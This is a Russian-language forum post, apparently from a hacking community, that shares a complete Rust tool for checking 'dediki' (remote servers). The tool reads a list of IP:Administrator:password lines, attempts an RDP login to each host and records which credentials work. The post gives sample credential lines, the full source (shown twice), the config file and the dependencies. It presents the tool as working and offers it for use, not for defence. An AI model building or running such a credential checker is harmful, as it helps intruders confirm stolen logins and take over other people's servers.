RemoteDesktopChecker - чекер дедиков

Когда изучал язык писал все подряд, вот одно из того, что было написано мной.
О программе: самый простой чекер дедиков, на вход дается txt с данными, на выход получаем output.txt с результатом
Пример входящих данных:

89.23.100.198:Administrator:54fsfs
89.23.100.198:Administrator:JmbHZjp7TuEdIakX

Код

89.23.100.198:Administrator:54fsfs

89.23.100.198:Administrator:JmbHZjp7TuEdIakX

main.rs

use std::net::SocketAddr;
use rdp::core::client::Connector;
use serde_json;
use std::fs::{OpenOptions, File};
use std::io::{self, Write, BufRead, BufReader};

#[derive(Debug, serde::Deserialize)]
struct Config {
file_path: String,
output: String
}

static CONFIG_JSON: &str = include_str!("../config.json");

fn write_to_file(filename: &str, ip: &str, username: &str, password: &str, status: &str) -> io::Result<()> {
let mut file = OpenOptions::new()
.create(true)
.write(true)
.append(true)
.open(filename)?;

writeln!(file, "{}:{}:{} - {}", ip, username, password, status)?;

Ok(())
}

fn read_file_and_parse(filename: &str) -> Vec<Vec<String>> {
let mut lines: Vec<Vec<String>> = Vec::new();

if let Ok(file) = File::open(filename) {
let reader = BufReader::new(file);

for line in reader.lines() {
if let Ok(line_contents) = line {
let mut parts: Vec<String> = line_contents.split(':').map(|s| s.to_string()).collect();
if parts.len() < 4 {
parts.push("3389".to_string());
}
lines.push(parts);
}
}
} else {
eprintln!("Failed to open file: {}", filename);
}
lines
}

fn connect_to_remote_desktop(address: &str, username: &str, password: &str) {

let config: Config = serde_json::from_str(CONFIG_JSON).expect("Unable to deserialize JSON");
let addr: SocketAddr = address.parse().expect("Failed to parse address");

if let Ok(tcp) = std::net::TcpStream::connect(&addr) {
let mut connector = Connector::new()
.screen(800, 600)
.credentials(address.to_string(), username.to_string(), password.to_string());

if let Ok(_) = connector.connect(tcp) {
write_to_file(&config.output, address, username, password, "good").unwrap();
println!("Successfully connected to remote desktop");
} else {
write_to_file(&config.output, address, username, password, "bad").unwrap();
eprintln!("Failed to connect to remote desktop");
}
} else {
eprintln!("Failed to connect to remote desktop");
}
}

fn main() {
let config: Config = serde_json::from_str(CONFIG_JSON).expect("Unable to deserialize JSON");
let lines = read_file_and_parse(&config.file_path);

for line in &lines {
if line.len() >= 3 {
let address = format!("{}:{}", &line[0], &line[3]);
let username = &line[1];
let password = &line[2];
println!("Connecting to remote desktop with credentials: {}", line.join(":"));
connect_to_remote_desktop(&address, username, password);
} else {
eprintln!("Invalid format for line: {:?}", line);
}
}
}

Код

use std::net::SocketAddr;

use rdp::core::client::Connector;

use serde_json;

use std::fs::{OpenOptions, File};

use std::io::{self, Write, BufRead, BufReader};



#[derive(Debug, serde::Deserialize)]

struct Config {

    file_path: String,

    output: String

}



static CONFIG_JSON: &str = include_str!("../config.json");



fn write_to_file(filename: &str, ip: &str, username: &str, password: &str, status: &str) -> io::Result<()> {

    let mut file = OpenOptions::new()

        .create(true)

        .write(true)

        .append(true)

        .open(filename)?;



    writeln!(file, "{}:{}:{} - {}", ip, username, password, status)?;



    Ok(())

}



fn read_file_and_parse(filename: &str) -> Vec<Vec<String>> {

    let mut lines: Vec<Vec<String>> = Vec::new();



    if let Ok(file) = File::open(filename) {

        let reader = BufReader::new(file);



        for line in reader.lines() {

            if let Ok(line_contents) = line {

                let mut parts: Vec<String> = line_contents.split(':').map(|s| s.to_string()).collect();

                if parts.len() < 4 {

                    parts.push("3389".to_string());

                }

                lines.push(parts);

            }

        }

    } else {

        eprintln!("Failed to open file: {}", filename);

    }

    lines

}



fn connect_to_remote_desktop(address: &str, username: &str, password: &str) {



    let config: Config = serde_json::from_str(CONFIG_JSON).expect("Unable to deserialize JSON");

    let addr: SocketAddr = address.parse().expect("Failed to parse address");



    if let Ok(tcp) = std::net::TcpStream::connect(&addr) {

        let mut connector = Connector::new()

            .screen(800, 600)

            .credentials(address.to_string(), username.to_string(), password.to_string());



        if let Ok(_) = connector.connect(tcp) {

            write_to_file(&config.output, address, username, password, "good").unwrap();

            println!("Successfully connected to remote desktop");

        } else {

            write_to_file(&config.output, address, username, password, "bad").unwrap();

            eprintln!("Failed to connect to remote desktop");

        }

    } else {

        eprintln!("Failed to connect to remote desktop");

    }

}



fn main() {

    let config: Config = serde_json::from_str(CONFIG_JSON).expect("Unable to deserialize JSON");

    let lines = read_file_and_parse(&config.file_path);



    for line in &lines {

        if line.len() >= 3 {

            let address = format!("{}:{}", &line[0], &line[3]);

            let username = &line[1];

            let password = &line[2];

            println!("Connecting to remote desktop with credentials: {}", line.join(":"));

            connect_to_remote_desktop(&address, username, password);

        } else {

            eprintln!("Invalid format for line: {:?}", line);

        }

    }

}

config.json:​

config.json

{
"file_path": "./creditinals.txt",
"output": "./output.txt"
}

JS

{

    "file_path": "./creditinals.txt",

    "output": "./output.txt"

}

Зависимости:
​

dependencies

[dependencies]
rdp-rs = "0.1.0"
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"

Код

[dependencies]

rdp-rs = "0.1.0"

serde = { version = "1.0", features = ["derive"] }

serde_json = "1.0"